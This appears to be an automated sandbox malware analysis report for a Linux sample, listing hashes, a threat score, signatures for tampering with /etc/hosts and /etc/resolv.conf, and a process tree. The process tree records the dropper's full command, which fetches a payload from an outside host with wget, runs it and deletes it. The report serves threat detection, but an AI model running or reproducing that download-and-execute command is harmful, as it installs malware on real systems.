Analysis
-
max time kernel
10682s -
max time network
142s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
submitted
11/04/2022, 08:06
Static task
static1
Behavioral task
behavioral1
Sample
65e8a78d64704cc9af4d19ef090ed81e
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
-
Target
65e8a78d64704cc9af4d19ef090ed81e
-
Size
101KB
-
MD5
65e8a78d64704cc9af4d19ef090ed81e
-
SHA1
3439e4051086f5d1aa3dc84206ca37bc51f7991b
-
SHA256
2d5207861f9e0ed521792b82920b218535499c8a02932b484f0a9df375992986
-
SHA512
aa69d684167ada4b0ad0178dcb5d088f3f48573fe5fec7ff29c99ddbd10379e67de26615c0e7493498b3461200b2c9de4e77b6cdb6618930b5656a1a86b93362
Score
8/10
Malware Config
Signatures
-
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
description ioc Process /etc/hosts /etc/hosts wget -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process /etc/resolv.conf /etc/resolv.conf wget
Processes
-
./65e8a78d64704cc9af4d19ef090ed81e./65e8a78d64704cc9af4d19ef090ed81e1⤵PID:571
-
/bin/sh/bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."1⤵PID:572
-
/usr/bin/wgetwget -q http://gay.energy/.../vivid -O .....2⤵
- Modifies hosts file
- Writes DNS configuration
PID:576
-
-
/bin/chmodchmod 777 .....2⤵PID:577
-
-
./....../.....2⤵PID:578
-
-
/bin/sh/bin/sh ./.....2⤵PID:578
-
-
/bin/rmrm -rf .....2⤵PID:580
-